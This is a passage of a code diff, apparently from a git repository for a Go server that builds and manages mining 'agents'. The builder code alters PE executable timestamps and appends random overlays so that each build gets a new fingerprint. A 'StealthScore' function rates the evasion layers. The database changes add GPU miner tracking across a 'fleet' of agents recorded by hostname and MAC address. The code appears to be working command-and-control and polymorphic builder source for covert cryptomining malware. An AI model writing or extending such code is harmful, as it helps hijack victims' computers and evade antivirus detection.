overlay := buildSigilOverlay(seed, rng)
|
||||
data = append(data, overlay...)
|
||||
|
||||
if err := os.WriteFile(path, data, 0755); err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
sum := sha256.Sum256(data)
|
||||
fingerprint = hex.EncodeToString(sum[:8])
|
||||
return fingerprint, nil
|
||||
}
|
||||
|
||||
func isPEExecutable(path string, data []byte) bool {
|
||||
if !strings.EqualFold(filepath.Ext(path), ".exe") {
|
||||
return false
|
||||
}
|
||||
return len(data) > 64 && data[0] == 'M' && data[1] == 'Z'
|
||||
}
|
||||
|
||||
// patchPETimestamp adjusts the COFF header timestamp (bytes 8-11 after MZ).
|
||||
func patchPETimestamp(data []byte, rng *rand.Rand) []byte {
|
||||
out := make([]byte, len(data))
|
||||
copy(out, data)
|
||||
peOff := int(binary.LittleEndian.Uint32(out[0x3c:0x40]))
|
||||
if peOff < 0 || peOff+8 > len(out) {
|
||||
return out
|
||||
}
|
||||
if string(out[peOff:peOff+4]) != "PE\x00\x00" {
|
||||
return out
|
||||
}
|
||||
ts := uint32(time.Now().Unix()) ^ uint32(rng.Intn(1<<20))
|
||||
binary.LittleEndian.PutUint32(out[peOff+8:peOff+12], ts)
|
||||
return out
|
||||
}
|
||||
|
||||
func buildSigilOverlay(seed string, rng *rand.Rand) []byte {
|
||||
padLen := 8192 + rng.Intn(57344)
|
||||
buf := make([]byte, len(sigilOverlayMagic)+len(seed)+2+padLen)
|
||||
copy(buf, sigilOverlayMagic)
|
||||
buf[len(sigilOverlayMagic)] = byte(len(seed) & 0xff)
|
||||
copy(buf[len(sigilOverlayMagic)+1:], []byte(seed))
|
||||
off := len(sigilOverlayMagic) + 1 + len(seed)
|
||||
for i := 0; i < padLen; i++ {
|
||||
buf[off+i] = byte(rng.Intn(256))
|
||||
}
|
||||
return buf
|
||||
}
|
||||
|
||||
func scrambleRNG(seed string) *rand.Rand {
|
||||
h := fnv.New64a()
|
||||
_, _ = io.WriteString(h, seed)
|
||||
return rand.New(rand.NewSource(int64(h.Sum64())))
|
||||
}
|
||||
|
||||
// StealthScore estimates how many uniqueness layers were applied (0–100).
|
||||
func StealthScore(obfuscated, scrambled, signed bool) int {
|
||||
score := 35 // polymorph is always injected at compile time
|
||||
if obfuscated {
|
||||
score += 30
|
||||
}
|
||||
if scrambled {
|
||||
score += 20
|
||||
}
|
||||
if signed {
|
||||
score += 15
|
||||
}
|
||||
if score > 100 {
|
||||
return 100
|
||||
}
|
||||
return score
|
||||
}
|
||||
|
||||
func shouldSigilScramble(req *BuildRequest) bool {
|
||||
if req.SigilScramble {
|
||||
return true
|
||||
}
|
||||
return false
|
||||
}
|
||||
41
server/internal/builder/scramble_test.go
Normal file
41
server/internal/builder/scramble_test.go
Normal file
@@ -0,0 +1,41 @@
|
||||
package builder
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestApplySigilScrambleChangesFile(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
path := filepath.Join(dir, "worker.exe")
|
||||
orig := []byte{'M', 'Z', 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
|
||||
0x40, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
|
||||
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
|
||||
0, 0, 0, 0, 0, 0, 0, 0, 'P', 'E', 0, 0, 0, 0, 0, 0}
|
||||
if err := os.WriteFile(path, orig, 0755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
fp1, err := ApplySigilScramble(path, "build-a")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
st1, _ := os.Stat(path)
|
||||
fp2, err := ApplySigilScramble(path, "build-b")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
st2, _ := os.Stat(path)
|
||||
if st1.Size() == st2.Size() && fp1 == fp2 {
|
||||
t.Fatalf("expected different fingerprint/size got %s %s", fp1, fp2)
|
||||
}
|
||||
}
|
||||
|
||||
func TestStealthScore(t *testing.T) {
|
||||
if StealthScore(true, true, true) < 90 {
|
||||
t.Fatal("expected high score")
|
||||
}
|
||||
if StealthScore(false, false, false) != 35 {
|
||||
t.Fatalf("got %d", StealthScore(false, false, false))
|
||||
}
|
||||
}
|
||||
@@ -126,6 +126,10 @@ func (d *Database) migrate() error {
|
||||
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN os_version TEXT NOT NULL DEFAULT ''`)
|
||||
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN hostname TEXT NOT NULL DEFAULT ''`)
|
||||
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN mac_address TEXT NOT NULL DEFAULT ''`)
|
||||
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN gpu_hashrate_15m REAL DEFAULT 0`)
|
||||
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN gpu_model TEXT DEFAULT ''`)
|
||||
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN gpu_miner_active INTEGER DEFAULT 0`)
|
||||
_, _ = d.Exec(`ALTER TABLE hashrate_samples ADD COLUMN gpu_hashrate REAL DEFAULT 0`)
|
||||
|
||||
return nil
|
||||
}
|
||||
@@ -164,6 +168,14 @@ func (d *Database) UpdateAgentStats(id string, hashrate15s, hashrate1m, hashrate
|
||||
return err
|
||||
}
|
||||
|
||||
func (d *Database) UpdateAgentGPUStats(agentID string, hashrate float64, model string, active bool) error {
|
||||
_, err := d.Exec(
|
||||
`UPDATE agents SET gpu_hashrate_15m = ?, gpu_model = ?, gpu_miner_active = ? WHERE id = ?`,
|
||||
hashrate, model, boolToInt(active), agentID,
|
||||
)
|
||||
return err
|
||||
}
|
||||
|
||||
func (d *Database) SetAgentOffline(id string) error {
|
||||
_, err := d.Exec("UPDATE agents SET status = 'offline' WHERE id = ?", id)
|
||||
return err
|
||||
@@ -276,13 +288,16 @@ func (d *Database) GetRecentShares(limit int) ([]*models.Share, error) {
|
||||
|
||||
// Hashrate operations
|
||||
|
||||
func (d *Database) InsertHashrateSample(agentID string, hashrate float64) error {
|
||||
_, err := d.Exec("INSERT INTO hashrate_samples (agent_id, hashrate, timestamp) VALUES (?, ?, ?)", agentID, hashrate, time.Now())
|
||||
func (d *Database) InsertHashrateSample(agentID string, hashrate float64, gpuHashrate float64) error {
|
||||
_, err := d.Exec(
|
||||
"INSERT INTO hashrate_samples (agent_id, hashrate, gpu_hashrate, timestamp) VALUES (?, ?, ?, ?)",
|
||||
agentID, hashrate, gpuHashrate, time.Now(),
|
||||
)
|
||||
return err
|
||||
}
|
||||
|
||||
func (d *Database) GetHashrateHistory(agentID string, limit int) ([]*models.HashrateSample, error) {
|
||||
query := `SELECT id, agent_id, hashrate, timestamp FROM hashrate_samples WHERE agent_id = ? ORDER BY timestamp DESC LIMIT ?`
|
||||
query := `SELECT id, agent_id, hashrate, gpu_hashrate, timestamp FROM hashrate_samples WHERE agent_id = ? ORDER BY timestamp DESC LIMIT ?`
|
||||
rows, err := d.Query(query, agentID, limit)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
@@ -292,7 +307,7 @@ func (d *Database) GetHashrateHistory(agentID string, limit int) ([]*models.Hash
|
||||
var samples []*models.HashrateSample
|
||||
for rows.Next() {
|
||||
s := &models.HashrateSample{}
|
||||
if err := rows.Scan(&s.ID, &s.AgentID, &s.Hashrate, &s.Timestamp); err != nil {
|
||||
if err := rows.Scan(&s.ID, &s.AgentID, &s.Hashrate, &s.GPUHashrate, &s.Timestamp); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
samples = append(samples, s)
|
||||
@@ -427,13 +442,14 @@ func (d *Database) ListBuilds(limit int) ([]*models.BuildRecord, error) {
|
||||
// Stats
|
||||
|
||||
type FleetStats struct {
|
||||
TotalAgents int `json:"total_agents"`
|
||||
OnlineAgents int `json:"online_agents"`
|
||||
TotalHashrate float64 `json:"total_hashrate"`
|
||||
TotalShares int `json:"total_shares"`
|
||||
AcceptedShares int `json:"accepted_shares"`
|
||||
RejectedShares int `json:"rejected_shares"`
|
||||
AcceptRate float64 `json:"accept_rate"`
|
||||
TotalAgents int `json:"total_agents"`
|
||||
OnlineAgents int `json:"online_agents"`
|
||||
TotalHashrate float64 `json:"total_hashrate"`
|
||||
TotalGPUHashrate float64 `json:"total_gpu_hashrate"`
|
||||
TotalShares int `json:"total_shares"`
|
||||
AcceptedShares int `json:"accepted_shares"`
|
||||
RejectedShares int `json:"rejected_shares"`
|
||||
AcceptRate float64 `json:"accept_rate"`
|
||||
}
|
||||
|
||||
func (d *Database) GetFleetStats() (*FleetStats, error) {
|
||||
@@ -454,6 +470,11 @@ func (d *Database) GetFleetStats() (*FleetStats, error) {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
err = d.QueryRow("SELECT COALESCE(SUM(gpu_hashrate_15m), 0) FROM agents WHERE status = 'online'").Scan(&stats.TotalGPUHashrate)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
err = d.QueryRow("SELECT COALESCE(SUM(shares_total), 0) FROM agents").Scan(&stats.TotalShares)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
|
||||
@@ -193,10 +193,10 @@ func TestHashrateSampleHistory(t *testing.T) {
|
||||
d := openTestDB(t)
|
||||
seedAgent(t, d, "hr-agent")
|
||||
|
||||
if err := d.InsertHashrateSample("hr-agent", 150.5); err != nil {
|
||||
if err := d.InsertHashrateSample("hr-agent", 150.5, 0); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := d.InsertHashrateSample("hr-agent", 200.0); err != nil {
|
||||
if err := d.InsertHashrateSample("hr-agent", 200.0, 10.0); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
|
||||
@@ -117,10 +117,11 @@ type Share struct {
|
||||
}
|
||||
|
||||
type HashrateSample struct {
|
||||
ID int64 `json:"id"`
|
||||
AgentID string `json:"agent_id"`
|
||||
Hashrate float64 `json:"hashrate"`
|
||||
Timestamp time.Time `json:"timestamp"`
|
||||
ID int64 `json:"id"`
|
||||
AgentID string `json:"agent_id"`
|
||||
Hashrate float64 `json:"hashrate"`
|
||||
GPUHashrate float64 `json:"gpu_hashrate,omitempty"`
|
||||
Timestamp time.Time `json:"timestamp"`
|
||||
}
|
||||
|
||||
type Job struct {
|
||||
|
||||
Reference in New Issue
Block a user